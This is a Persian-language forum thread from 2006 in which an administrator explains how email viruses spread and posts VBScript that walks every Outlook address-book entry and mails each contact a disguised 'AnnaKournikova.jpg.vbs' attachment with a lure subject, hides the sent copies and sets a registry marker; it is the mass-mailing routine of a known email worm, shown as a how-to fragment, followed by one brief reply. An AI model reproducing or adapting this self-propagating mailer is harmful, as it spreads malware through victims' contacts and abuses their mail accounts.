در این بخش می‌توانید در رابطه با شبکه و کلیه مباحث مربوط به آن بحث و تبادل نظر نمایید
Administrator

Administrator



نماد کاربر
پست ها

15442

تشکر کرده: 10108 مرتبه
تشکر شده: 3820 مرتبه
تاريخ عضويت

جمعه 7 بهمن 1384 19:51

آرشيو سپاس: 30251 مرتبه در 5981 پست

به دست آوردن آدرس ايميل

توسط Mahdi1944 » شنبه 6 خرداد 1385 20:13

تا به حال شده است که شما از مورد هجوم یک ویروس از طریق میل شده باشد؟ آیا میخواهيد به دانيد که چگونه اين کار انجام میشود من در اين جا به توضيح اين مطلب خواهم پرداخت. شما با استفاده از يک فايل با پسوند vbs که محتوای زير را داشته باشد مي توانيد از روی دفتر چه ياداشت مقصد آدرس ايميلهای دوستان آن شخص را به دست آوريد


Function doMail()

On Error Resume Next
Set OutlookApp = CreateObject("Outlook.Application")
If OutlookApp = "Outlook" Then
Set MAPINameSpace = OutlookApp.GetNameSpace("MAPI")
Set AddressLists = MAPINameSpace.AddressLists
For Each address In AddressLists
If address.AddressEntries.Count <> 0 Then
entryCount = address.AddressEntries.Count
For i = 1 To entryCount
Set newItem = OutlookApp.CreateItem(0)
Set currentAddress = address.AddressEntries(i)
newItem.To = currentAddress.Address
newItem.Subject = "Here you have, ;o)"
newItem.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & ""
set attachments = newItem.Attachments
attachments.Add FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs"
newItem.DeleteAfterSubmit = True
If newItem.To <> "" Then
newItem.Send
WScriptShell.regwrite "HKCU\software\OnTheFly\mailed", "1"
End If
Next
End If
Next
end if

End Function[/align]


شما با ساختن يک شياء Outlook می توانيد اکثر ابزارهائی که در اين برنامه برای خواندن و فرستادن يک ميل نياز داريد به دست آوريد
آخرين ويرايش توسط Mahdi1944 در يکشنبه 7 خرداد 1385 13:46, ويرايش شده 1 در کل.
زندگي صحنه يکتاي هنرمندي ماست     هرکسي نغمه خود خواند و از صحنه رود
صحنه پيوسته به جاست     خرم آن نغمه که مردم بسپارند به ياد


 لينکها براي کاربران مهمان قابل دسترسي نيست، براي مشاهده ي لينکها لطفا ثبت نام کرده و وارد شويد  |  لينکها براي کاربران مهمان قابل دسترسي نيست، براي مشاهده ي لينکها لطفا ثبت نام کرده و وارد شويد  |  لينکها براي کاربران مهمان قابل دسترسي نيست، براي مشاهده ي لينکها لطفا ثبت نام کرده و وارد شويد  |  لينکها براي کاربران مهمان قابل دسترسي نيست، براي مشاهده ي لينکها لطفا ثبت نام کرده و وارد شويد 

لطفا سوالات فني را فقط در خود انجمن مطرح بفرماييد، به اين سوالات در PM پاسخ داده نخواهد شد

کاربران زیر از شما کاربر محترم جناب Mahdi1944 تشکر کرده اند:
sinaset

Captain I

Captain I



no avatar
پست ها

807

تشکر کرده: 0 مرتبه
تشکر شده: 5 مرتبه
تاريخ عضويت

شنبه 6 اسفند 1384 13:23

آرشيو سپاس: 62 مرتبه در 48 پست

توسط Fareed3230 » يکشنبه 7 خرداد 1385 09:36

چه جالب !!  :-(  به حق چيز هاي نديده و نشنيده  8)
به زودي در اين مكان امضا اضافه خواهد شد .


 


  • موضوعات مشابه
    پاسخ ها
    بازديدها
    آخرين پست

چه کسي حاضر است ؟

کاربران حاضر در اين انجمن: بدون كاربران آنلاين و 0 مهمان